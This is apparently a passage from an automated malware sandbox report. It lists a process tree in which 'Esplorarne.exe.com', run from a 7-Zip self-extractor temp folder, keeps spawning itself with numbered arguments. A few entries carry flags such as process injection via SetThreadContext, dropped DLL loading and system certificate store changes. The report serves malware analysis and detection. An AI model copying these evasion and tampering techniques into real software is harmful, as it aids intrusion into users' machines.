C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i147⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i148⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i149⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i150⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i151⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i152⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i153⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i154⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i155⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i156⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i157⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i158⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i159⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i160⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i161⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i162⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i163⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i164⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i165⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i166⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i167⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i168⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i169⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i170⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i171⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i172⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i173⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i174⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i175⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i176⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i177⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i178⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i179⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i180⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i181⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i182⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i183⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i184⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i185⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i186⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i187⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i188⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i189⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i190⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i191⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i192⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i193⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i194⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i195⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i196⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i197⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i198⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i199⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i200⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i201⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i202⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i203⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i204⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i205⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i206⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i207⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i208⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i209⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i210⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i211⤵
- Modifies Internet Explorer settings
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i212⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i213⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i214⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i215⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i216⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i217⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i218⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i219⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i220⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i221⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i222⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i223⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i224⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i225⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i226⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i227⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i228⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i229⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i230⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i231⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i232⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i233⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i234⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i235⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i236⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i237⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i238⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i239⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i240⤵
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Esplorarne.exe.com i241⤵